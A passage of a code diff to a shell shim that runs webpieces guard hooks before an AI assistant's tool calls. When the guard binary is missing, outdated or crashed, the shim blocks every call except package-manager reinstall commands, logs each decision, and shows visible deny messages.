cwd;\n for (;;) {\n if (fs.existsSync(shimPath(dir))) return dir;\n const parent = path.dirname(dir);\n if (parent === dir) break;\n dir = parent;\n }\n const env = process.env['CLAUDE_PROJECT_DIR'];\n if (env && fs.existsSync(shimPath(env))) return env;\n return null;\n}\n\n// Best-effort: keep the committed shim identical to renderShim() so the fail-closed escape hatch and\n// allowlist never drift. Only rewrites an EXISTING shim (never creates one) so global installs are\n// untouched. NEVER throws — a self-heal must never block or crash a tool call.\nexport function healShim(cwd: string): void {\n // eslint-disable-next-line @webpieces/no-unmanaged-exceptions\n try {\n const root = findShimRoot(cwd);\n if (!root) return;\n const target = shimPath(root);\n const desired = renderShim();\n if (fs.readFileSync(target, 'utf8') === desired) return;\n fs.writeFileSync(target, desired, { mode: 0o755 });\n fs.chmodSync(target, 0o755);\n } catch (err: unknown) {\n //const error = toError(err);\n // Ignore: healing is a convenience, not part of the guard decision.\n }\n}\n"]}
@@ -40,16 +40,36 @@ if [ -f "$ROOT/package.json" ]; then
40
40
  $(sed -n 's/.*"@webpieces\/\([A-Za-z0-9._-]*\)"[[:space:]]*:[[:space:]]*"\([0-9][0-9A-Za-z.-]*\)".*/\1 \2/p' "$ROOT/package.json")
41
41
  WPEOF
42
42
  fi
43
+ # Read the tool payload ONCE, up front. The shim no longer exec's the bin (see RUN_BIN_SH), so it must
44
+ # forward stdin to the bin itself — and it needs the payload again on the fail-closed path below.
45
+ PAYLOAD="$(cat)"
46
+ BROKEN_BIN=""
47
+ CRASH_MSG=""
43
48
  if [ -x "$BIN" ] && [ -z "$DRIFT_PKG" ]; then
44
- exec "$BIN" "$@" # exec preserves stdin — hooks receive the tool payload as JSON on stdin
49
+ OUT_FILE="${TMPDIR:-/tmp}/wp-ai-hook-out.$$"
50
+ ERR_FILE="${TMPDIR:-/tmp}/wp-ai-hook-err.$$"
51
+ printf '%s' "$PAYLOAD" | "$BIN" "$@" >"$OUT_FILE" 2>"$ERR_FILE"
52
+ RC=$?
53
+ if [ "$RC" = 0 ] || [ "$RC" = 2 ]; then
54
+ cat "$OUT_FILE" # the guard's real decision — verbatim
55
+ cat "$ERR_FILE" >&2
56
+ rm -f "$OUT_FILE" "$ERR_FILE" 2>/dev/null
57
+ exit "$RC"
58
+ fi
59
+ # Crashed. Keep the most useful stderr line for the human. Strip " and backslash so the text stays a
60
+ # valid JSON string, and cap the length so a giant node stack cannot blow up the deny payload.
61
+ CRASH_MSG="$(grep -m1 'Cannot find module' "$ERR_FILE" 2>/dev/null | tr -d '"\\' | cut -c1-120)"
62
+ [ -n "$CRASH_MSG" ] || CRASH_MSG="$(head -n1 "$ERR_FILE" 2>/dev/null | tr -d '"\\' | cut -c1-120)"
63
+ [ -n "$CRASH_MSG" ] || CRASH_MSG="exit code $RC, no stderr"
64
+ rm -f "$OUT_FILE" "$ERR_FILE" 2>/dev/null
65
+ BROKEN_BIN=1
45
66
  fi
46
- # Bin missing (fresh clone before install, or a broken install) OR a version drift (stale node_modules).
47
- # The webpieces guards CANNOT safely run.
48
- # Before failing closed, peek at the tool payload and let ONLY package-manager install commands
67
+ # Bin missing (fresh clone before install) OR a version drift (stale node_modules) OR the bin is
68
+ # installed but CRASHED (corrupt node_modules). The webpieces guards CANNOT safely run.
69
+ # Before failing closed, peek at the tool payload and let ONLY package-manager install/recovery commands
49
70
  # through: the assistant's own Bash tool routes through this hook too, so blocking everything would
50
- # deadlock the one command (pnpm/npm install) that re-enables the guards. A silent exit 0 = "allow"
51
- # in the PreToolUse protocol; the guards resume automatically once node_modules is present.
52
- PAYLOAD="$(cat)"
71
+ # deadlock the very commands (pnpm install / rm -rf node_modules && pnpm install) that re-enable the
72
+ # guards. A silent exit 0 = "allow" in the PreToolUse protocol; the guards resume once the tree is sane.
53
73
  CMD="$(printf '%s' "$PAYLOAD" | sed -n 's/.*"command"[[:space:]]*:[[:space:]]*"\([^"\\]*\)".*/\1/p')"
54
74
  TOOL="$(printf '%s' "$PAYLOAD" | sed -n 's/.*"tool_name"[[:space:]]*:[[:space:]]*"\([^"\\]*\)".*/\1/p')"
55
75
  # Best-effort audit trail of every decision the fail-closed shim makes WHILE THE GUARDS ARE DOWN, so a
@@ -58,30 +78,28 @@ TOOL="$(printf '%s' "$PAYLOAD" | sed -n 's/.*"tool_name"[[:space:]]*:[[:space:]]
58
78
  # blocks the hook: all writes are best-effort (|| true) and go to a file, never to stdout (stdout is
59
79
  # the PreToolUse decision channel — a stray byte there would corrupt allow/deny).
60
80
  LOG_DIR="$ROOT/.webpieces/logs"
61
- wp_log() { # $1 = decision label (ALLOW-INSTALL | DENY)
81
+ wp_log() { # $1 = decision label (ALLOW-INSTALL | DENY | DENY-STALE | DENY-BROKEN)
62
82
  { mkdir -p "$LOG_DIR" 2>/dev/null && printf '%s\t%s\t%s\t%s\t%s\n' "$(date '+%Y-%m-%dT%H:%M:%S%z' 2>/dev/null)" "$BIN_NAME" "$TOOL" "$1" "$CMD" >> "$LOG_DIR/ai-hook-shim.log"; } 2>/dev/null || true
63
83
  }
64
84
  DENY_LABEL="DENY"
65
- [ -n "$DRIFT_PKG" ] && DENY_LABEL="DENY-STALE" # version drift, not a missing bin
66
- if printf '%s' "$CMD" | grep -Eq '^(pnpm|npm)[[:space:]]+(install|i)([[:space:]]+--[A-Za-z][A-Za-z0-9=._/@:-]*)*[[:space:]]*$'; then
85
+ [ -n "$DRIFT_PKG" ] && DENY_LABEL="DENY-STALE" # version drift, not a missing bin
86
+ [ -n "$BROKEN_BIN" ] && DENY_LABEL="DENY-BROKEN" # bin present but CRASHED (corrupt node_modules)
87
+ if printf '%s' "$CMD" | grep -Eq '^(pnpm|npm)[[:space:]]+(install|i)([[:space:]]+--[A-Za-z][A-Za-z0-9=._/@:-]*)*[[:space:]]*$' || printf '%s' "$CMD" | grep -Eq '^rm[[:space:]]+-rf[[:space:]]+(\./)?node_modules/?([[:space:]]*&&[[:space:]]*(pnpm|npm)[[:space:]]+(install|i)([[:space:]]+--[A-Za-z][A-Za-z0-9=._/@:-]*)*)?[[:space:]]*$'; then
67
88
  wp_log ALLOW-INSTALL # record the self-heal we let through (re-enables the guards)
68
- exit 0 # allow the installer so the assistant can self-heal the deadlock
89
+ exit 0 # allow the installer/recovery so the assistant can break the deadlock
69
90
  fi
70
- wp_log "$DENY_LABEL" # record every fail-closed block (…-STALE = version drift) for inspection
71
- # Not an installer command → FAIL CLOSED. Deny via Claude Code's PreToolUse JSON protocol
72
- # (permissionDecision "deny" on stdout, then exit 0) rather than a bare "exit 2". BOTH block the call,
73
- # but the reason must be made visible, and HOW depends on the tool (verified by live tests; the docs
74
- # are wrong here):
75
- # - Bash deny: permissionDecisionReason is NOT shown to the human ONLY a top-level systemMessage
76
- # is, and it honors ANSI. So for Bash we emit systemMessage wrapped in ANSI red so the
77
- # "run pnpm install" fix is visible (today, on Bash, it is invisible).
78
- # - Write/Edit/MultiEdit deny: permissionDecisionReason renders as a RED "Error:" block natively
79
- # no systemMessage needed (a second line would be redundant).
80
- # - NEVER exit 2 (stdout JSON ignored; stderr not reliably shown on a blocked Bash call).
81
- # The ESC is emitted as the literal 6-char JSON escape \u001b (built via ${BS} so no raw ESC byte and
82
- # no \uXXXX sits in this source); Claude Code's JSON parser turns \u001b into ESC. The reason is a
83
- # single JSON string with no double-quotes/backslashes, so it stays valid JSON after ${BIN_NAME} subs.
84
- if [ -n "$DRIFT_PKG" ]; then
91
+ wp_log "$DENY_LABEL" # every fail-closed block (…-STALE = drift, …-BROKEN = crash) for inspection
92
+ if [ -n "$BROKEN_BIN" ]; then
93
+ # Report (do NOT auto-clean) the orphaned pnpm staging dirs a package pnpm was mid-way through
94
+ # writing is left behind as <name>_<pid>_<hash>. Their presence is the fingerprint of an install that
95
+ # was killed, which is what corrupts node_modules in the first place. Best-effort; never fatal.
96
+ STAGING_N="$(ls "$ROOT/node_modules" 2>/dev/null | grep -Ec '_[0-9a-f]+_[0-9a-f]+$' || true)"
97
+ STAGING_NOTE=""
98
+ if [ "${STAGING_N:-0}" -gt 0 ] 2>/dev/null; then
99
+ STAGING_NOTE=" Also found $STAGING_N orphaned pnpm staging dirs (name_pid_hash) under node_modules - the fingerprint of an install that was killed mid-write."
100
+ fi
101
+ REASON="❌ webpieces guards are DOWN and every tool call is BLOCKED: ${BIN_NAME} is installed but CRASHED ($CRASH_MSG). Your node_modules is corrupt or partially written, so the guards cannot run - and they must NOT be silently skipped. NOTE: a plain 'pnpm install' will NOT fix this; pnpm sees the correct version on disk and skips the broken package. Run exactly this, then retry: rm -rf node_modules && pnpm install${STAGING_NOTE}"
102
+ elif [ -n "$DRIFT_PKG" ]; then
85
103
  REASON="❌ webpieces is out of date: package.json pins $DRIFT_PKG@$DRIFT_DECLARED but node_modules has $DRIFT_INSTALLED. This hook rejects every call except 'pnpm install' because your installed webpieces is older than webpieces.config.json requires. Please run 'pnpm install' now, then retry."
86
104
  else
87
105
  REASON="❌ @webpieces/ai-hook-rules is declared in package.json but is not installed (${BIN_NAME} not found). Run 'pnpm install' (or this repo's installer) to enable the webpieces AI guards, then retry. (If you removed @webpieces/ai-hook-rules on purpose, delete its hooks from .claude/settings.json.)"